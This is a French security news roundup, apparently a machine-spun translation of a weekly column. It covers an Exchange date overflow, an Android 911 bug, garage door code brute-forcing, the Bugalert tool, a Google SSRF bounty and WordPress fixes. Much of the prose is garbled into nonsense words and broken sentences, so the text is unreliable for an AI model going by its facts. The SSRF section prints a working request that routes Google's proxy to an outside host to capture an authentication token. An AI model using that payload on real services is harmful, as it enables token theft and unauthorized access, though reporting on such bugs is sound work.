si vous aviez le malheur d’exécuter un serveur Microsoft Exchange cette semaine dernière, vous ne m’exigeez pas de vous parler du problème Y2K22. . Pour vous reposer, lorsque Exchange a essayé de télécharger la toute première mise à jour des définitions de logiciels malveillants de 2022, le numéro de version des nouvelles définitions a déclenché un accident dans le moteur de détection de logiciels malveillants. La date est représentée comme la chaîne 2201010001, où les deux premiers chiffres représentent l’année. Cette chaîne est convertie en un entier long signé, qui maxe à 2 147 483 647. L’entier déborde, ainsi que le résultat, est un comportement indéfini, écrasant le moteur. Le serveur cesse de fonctionner en toute sécurité, ne traiter aucun type de messages sans moteur malveillant de travail, ce qui implique qu’aucun courriel ne le traverse. Heureux Année!

Android 911 déni de service

La composition 911 pour les services d’urgence est tout à fait la pire moment pour un bogue d’application logicielle se manifeste. Google vient de corriger un tel bogue dans la mise à jour Android de janvier. C’est l’une de ces étranges interactions infensément involontaires – dans cette situation, des équipes Microsoft déclenchent le bogue Android. Si l’application Teams est installée, toutefois, aucun compte enregistré, les équipes ne génèrent ainsi que des registres d’un nouvel article phonacte sur chaque lancement. Cela semble que cela devrait être rare, mais des équipes sur Android sont également noorieuses pour leur décollage spontanément. Lorsque vous composez le 911, Android exécute une routine pour identifier quel phonacte doit être utilisé pour passer à la voie de l’appel, ainsi que de résoudre les cravates en comparant les hatupes. Cette comparaison n’est qu’une soustraction naïve, impliquant qu’il y a une possibilité de 50% pour obtenir un résultat défavorable. Cela a été imprévu, conduisant à l’accident.

Porte de garage ingénierie inverse

Engineering inverse Un plan d’autorisation sans fil de 30 ans peut ne pas être l’exploit croissant le plus d’intérêts, cependant, dans certains cas, le voyage est sa propre récompense. [Maxwell Dulin] nous apporte l’histoire, ainsi que ce voyage en vaut vraiment la peine. Les bases de ce piratage sont certainement toujours viables, à commencer par examiner le matériel. La porte de garage est synchrontée sur l’ouvre-porte de garage en tenant un bouton-poussoir sur le récepteur tout en envoyant un code. À l’intérieur de l’ouvre-cheveau, il y a neuf commutateurs DIP, chacun avec trois positions. Que font-ils? Il a sorti son SDR fiable pour obtenir le trafic Web et essayer de décoder les signaux. Inspecter ainsi que GNU Radio étaient les héros ici, offrant un aperçu de ce système d’autorisation facile. La dernière pensée sur cette porte de garage? Vous pouvez brute force un code inconnu en envoyant chaque combo possible, ainsi que 104 minutes.

Bugalert

Si vous êtes un sysadmin, vous comprenez que certains problèmes appelent appel à une action instantanée. Si vous rencontrez des serveurs Java, la vulnérabilité de Log4J a été un test de résiliation de votre protocole de réaction. Le temps entre la divulgation publique ainsi que chaque fois que vous avez entendu parler de cela, peut avoir été suffisant pour déclencher une catastrophe. Bien qu’il y ait plusieurs services de reporting de bogues ainsi que des cadres, rien ne convient plutôt à ce créneau utilisant le cas: vous notifiant le plus tôt possible que vos cheveux puissent vraiment être en feu. Cette niche non remplie bogu [Matthew Sullivan], qui a révélé un nouveau projet, alerte de bogue. Tout est open source, vous pouvez donc conserver votre propre instance si vous le souhaitez vraiment. Vous pouvez choisir d’obtenir un tweet, un texte ou même un appel téléphonique. Cela a la prospective à être un outil utile, jetez un coup d’œil!

J’ai l’impression d’avoir besoin de faire une alerte de bug définie d’une chanson Al étrange …

Le Zombie SSRF

[David Schütz] recherchait des API d’obscure Google, ainsi que des tâches trouvées.googleapis.com, que vous pouvez vous démo. Cette démo est intéressante, puisque ce n’est pas un service complètement épineux, mais parle au véritable back-end. Les demandes vont avec un proxy, CXL-Services.Appot.com, qui gère l’étape d’authentification pour la page de démonstration. S’il pourrait déclencher une demande de demande de serveur (SSRF), il peut être en mesure d’obtenir aux demandes authentifiées, ainsi que peut-être technique le proxy dans l’envoi de la circulation Web en son nom. L’analyse de l’URL est difficile. La technique qui a fonctionné? Une barre oblique inverse dans l’URL. Obtenez /proxy?url=https://sfmnev.vps.xdavidhu.me\@jobs.googleapis.com/ http / 1.1

Avec un accès à un gain de jeton à la main, [David] a commencé à vérifier à fond d’autres API Google pour voir ce que ce jeton lui fournissait d’avoir accès à. Il fournit la mise en garde que nous avons couverte avant, soyez prudent exactement à quelle distance vous poussez. Il aurait peut-être signalé que le Bug Best Away, a toutefois souhaité vérifier qu’il avait vraiment eu un accès en ligne au jeton. Après avoir confirmé que le jeton ait contribué à vérifier l’accès, il a tourné la conclusion, ainsi que d’une extrêmement bonne 3133,70 $, en plus de 1 000 $ supplémentaires pour un excellent rapport ainsi que le regard prudent du mouvement latéral. C’est tout ce qu’il y a, non? Nan. Juste avant la date limite de divulgation de 90 jours passée, [David] a trouvé un contournement de réparation. addiNg tout type de texte entre la barre oblique inverse ainsi que @ était suffisant pour la casser. un de plus 3133,70 $. Juste pour le plaisir, il sonda les anciennes URL, qui ne devraient pas être en service après le correctif. Oui, il a découvert encore une plus de jeton de sécurité et de sécurité, ainsi que 3133,70 $. Ce SSRF Zombie n’est toujours pas mort, comme en témoignent le Twitter:

Mise à jour WordPress

Si vous n’avez pas défini votre instance WordPress pour mettre à jour automatiquement, il est temps d’aller inspecter la version la plus récente. Il y a quatre problèmes potentiellement nocifs ici, bien que les détails soient rares à ce stade. Tout d’abord, il s’agit d’une vulnérabilité de scripts croisés dans les limaces publiées, la partie de l’URL correspondant au nom de la publication. Le deuxième problème discuté est l’injection d’élément dans certaines configurations multi-multisites. Les deux dernières vulnérabilités sont des injections SQL, méritant certainement de la “quelle année est-ce?” meme.